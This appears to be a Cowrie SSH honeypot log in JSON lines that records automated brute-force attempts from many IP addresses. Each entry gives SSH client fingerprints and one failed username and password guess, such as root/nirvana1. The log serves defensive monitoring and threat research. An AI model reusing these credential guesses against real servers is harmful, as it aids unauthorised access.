{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":40406,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffd7a6ccddf4","protocol":"ssh","message":"New connection: 191.101.59.86:40406 (159.203.135.109:22) [session: ffd7a6ccddf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:09.973259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:10.211541Z","src_ip":"191.101.59.86","session":"ffd7a6ccddf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:10.371892Z","src_ip":"191.101.59.86","session":"ffd7a6ccddf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"q1w2e3r4","message":"login attempt [user/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:11.488271Z","src_ip":"191.101.59.86","session":"ffd7a6ccddf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:12.587153Z","src_ip":"191.101.59.86","session":"ffd7a6ccddf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":39404,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd5c513eabb","protocol":"ssh","message":"New connection: 31.41.152.180:39404 (159.203.135.109:22) [session: 6fd5c513eabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:35.513077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:35.518510Z","src_ip":"31.41.152.180","session":"6fd5c513eabb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:35.631996Z","src_ip":"31.41.152.180","session":"6fd5c513eabb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer2025","message":"login attempt [developer/developer2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:36.114233Z","src_ip":"31.41.152.180","session":"6fd5c513eabb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:37.230753Z","src_ip":"31.41.152.180","session":"6fd5c513eabb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43482,"dst_ip":"10.17.0.5","dst_port":22,"session":"8205e174c965","protocol":"ssh","message":"New connection: 87.251.79.125:43482 (10.17.0.5:22) [session: 8205e174c965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:41.815708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:41.830652Z","src_ip":"87.251.79.125","session":"8205e174c965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:41.904326Z","src_ip":"87.251.79.125","session":"8205e174c965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nirvana1","message":"login attempt [root/nirvana1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:42.118998Z","src_ip":"87.251.79.125","session":"8205e174c965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:43.193352Z","src_ip":"87.251.79.125","session":"8205e174c965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":56416,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfa000849764","protocol":"ssh","message":"New connection: 82.197.58.130:56416 (159.203.135.109:22) [session: cfa000849764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:56.498635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:56.504024Z","src_ip":"82.197.58.130","session":"cfa000849764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:56.660692Z","src_ip":"82.197.58.130","session":"cfa000849764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123@","message":"login attempt [root/root123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:57.312516Z","src_ip":"82.197.58.130","session":"cfa000849764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:03:58.471812Z","src_ip":"82.197.58.130","session":"cfa000849764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":48360,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9d1ad379887","protocol":"ssh","message":"New connection: 185.236.22.41:48360 (159.203.135.109:22) [session: b9d1ad379887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:12.237843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:12.243320Z","src_ip":"185.236.22.41","session":"b9d1ad379887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:12.355409Z","src_ip":"185.236.22.41","session":"b9d1ad379887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"301090","message":"login attempt [root/301090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:12.685755Z","src_ip":"185.236.22.41","session":"b9d1ad379887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:13.810240Z","src_ip":"185.236.22.41","session":"b9d1ad379887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":38279,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ec1f061417e","protocol":"ssh","message":"New connection: 193.24.211.100:38279 (10.17.0.5:22) [session: 2ec1f061417e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:23.984565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:23.990214Z","src_ip":"193.24.211.100","session":"2ec1f061417e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:24.108597Z","src_ip":"193.24.211.100","session":"2ec1f061417e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bebeto","password":"bebeto","message":"login attempt [bebeto/bebeto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:24.650477Z","src_ip":"193.24.211.100","session":"2ec1f061417e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:25.761792Z","src_ip":"193.24.211.100","session":"2ec1f061417e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43076,"dst_ip":"10.17.0.5","dst_port":22,"session":"7852b6dab099","protocol":"ssh","message":"New connection: 103.176.20.57:43076 (10.17.0.5:22) [session: 7852b6dab099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:29.459878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:29.464560Z","src_ip":"103.176.20.57","session":"7852b6dab099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:29.721743Z","src_ip":"103.176.20.57","session":"7852b6dab099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aniram","message":"login attempt [root/aniram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:30.480423Z","src_ip":"103.176.20.57","session":"7852b6dab099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:31.778590Z","src_ip":"103.176.20.57","session":"7852b6dab099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35498,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2583df5b0b7","protocol":"ssh","message":"New connection: 193.37.70.224:35498 (10.17.0.5:22) [session: b2583df5b0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:50.931049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:50.942592Z","src_ip":"193.37.70.224","session":"b2583df5b0b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:51.024380Z","src_ip":"193.37.70.224","session":"b2583df5b0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"drago","message":"login attempt [root/drago] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:51.380529Z","src_ip":"193.37.70.224","session":"b2583df5b0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:04:52.474583Z","src_ip":"193.37.70.224","session":"b2583df5b0b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":54042,"dst_ip":"159.203.135.109","dst_port":22,"session":"296c5018e7d0","protocol":"ssh","message":"New connection: 103.122.221.179:54042 (159.203.135.109:22) [session: 296c5018e7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:05.051727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:05:05.070747Z","src_ip":"103.122.221.179","session":"296c5018e7d0","protocol":"ssh"}
